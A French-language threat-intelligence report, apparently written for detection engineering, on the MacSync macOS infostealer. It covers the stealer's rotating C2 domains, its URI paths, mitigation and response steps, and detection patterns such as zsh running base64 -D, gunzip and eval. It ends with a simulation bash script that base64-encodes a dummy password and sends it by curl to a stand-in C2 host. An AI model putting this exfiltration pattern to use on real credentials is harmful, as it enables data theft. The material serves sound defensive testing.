MacSync Stealer Utilise une Infrastructure C2 Rotative

Résumé

MacSync Stealer est un malware voleur d’informations sur macOS proposé via un modèle de malware-as-a-service. Il repose sur un zsh chargeur multi-étapes qui se connecte à une gamme tournante de domaines de commande et de contrôle pour exfiltrer les informations volées, y compris les mots de passe et les identifiants de portefeuilles de cryptomonnaies. Le chargeur transmet des mots de passe en clair via un paramètre de chaîne de requête et télécharge une archive ZIP des données collectées par morceaux de 10 MiB. Sa stratégie de rotation d’infrastructure dépend d’une clé API statique réutilisée sur plusieurs domaines, combinée à un jeton hexadécimal par construction.

Enquête

RST Cloud a détecté une tentative de téléchargement depuis le nouveau domaine enregistré jacksonvillemma.com et capturé le chargeur de la phase 2 zsh en moins d’une heure. L’analyse statique a révélé le trio du jeton du chargeur, de la clé API et du chemin de commande et de contrôle : /curl, /dynamic, et /gate. Un pivotement supplémentaire basé sur ces modèles d’URI a révélé un cluster d’environ douze domaines de commande et de contrôle suspects actifs entre février et mai 2026. Quatre de ces domaines ont été confirmés pour partager la même clé API, tandis que les autres ont été liés uniquement par un comportement URI correspondant.

Atténuation

Les défenseurs devraient bloquer tous les domaines de commande et de contrôle connus de MacSync et surveiller les modèles de chemins d’URL distincts utilisés par le malware. Les journaux de proxy et de DNS devraient être vérifiés pour les requêtes contenant /curl, /dynamic, et /gate, ainsi que pour la chaîne d’agent utilisateur macOS ressemblant à Chrome raccourcie liée au chargeur. Les équipes de sécurité devraient également détecter la création de /tmp/osalogging.zip et surveiller les zsh processus exécutant base64 -D, gunzip, et eval en combinaison.

Réponse

Si un indicateur correspondant est trouvé, isolez immédiatement le point de terminaison affecté, terminez le zsh processus malveillant, et collectez la mémoire pour l’analyse de tout payload AppleScript. Réinitialisez les mots de passe utilisateur exposés et invalidez les identifiants compromis stockés dans le trousseau de macOS. La logique de détection devrait également être mise à jour avec le jeton observé, la clé API et les modèles d’agent utilisateur pour réduire le risque de compromission future.

Exécution de simulation

Prérequis : Le contrôle préalable de la télémétrie et de la ligne de base doit avoir réussi.

Justification : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et visent à générer la télémétrie exacte attendue par la logique de détection.

• Narration & Commands d’attaque :
  Un adversaire a déployé le binaire stealer de MacSync sur une station de travail macOS compromise. Le stealer extrait le mot de passe du trousseau macOS de l’utilisateur actuel, l’encode en base64, et l’exfiltre via une requête HTTP GET à travers le proxy d’entreprise. La demande cible le point de terminaison C2 connu https://malicious.c2.net/dynamic?txd=<payload>. Étant donné que les journaux proxy capturent les URL complètes, la règle de détection verra la dynamic?txd= sous-chaîne et déclenchera une alerte.

• Script de test de régression :

   #!/bin/bash
    # macsync_stealer_simulation.sh
    # Simule la communication C2 du vol MacSync pour déclencher la règle de détection.
  
    PROXY="http://proxy.corp.local:3128"
    C2_BASE="https://malicious.c2.net/dynamic?txd="
  
    # 1️⃣ Extraire un mot de passe fictif (à des fins de démonstration, utilisez le nom de l'utilisateur actuel)
    PASSWORD="$(whoami):P@ssw0rd!"
  
    # 2️⃣ Encoder l'identifiant en base64 (émule l'étape d'encodage de MacSync)
    ENCODED=$(printf "%s" "$PASSWORD" | base64)
  
    # 3️⃣ Construire l'URL malveillante complète
    MALICIOUS_URL="${C2_BASE}${ENCODED}"
  
    # 4️⃣ Envoyer la requête via le proxy d'entreprise
    curl -x "$PROXY" "$MALICIOUS_URL" -A "Mozilla/5.0 (Macintosh; Intel Mac OS X 13_0) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.0 Safari/605.1.15"
  
    echo "Simulation exécutée – payload envoyé à $MALICIOUS_URL"

• Commandes de nettoyage :

   # Supprimer les fichiers temporaires (aucun créé) et éventuellement purger le cache du proxy
    echo "Nettoyage des artefacts de simulation..."
    # Si vous utilisez Squid, purgez l'URL du cache pour éviter des accès répétés
    sudo squidclient -m PURGE "https://malicious.c2.net/dynamic?txd=*"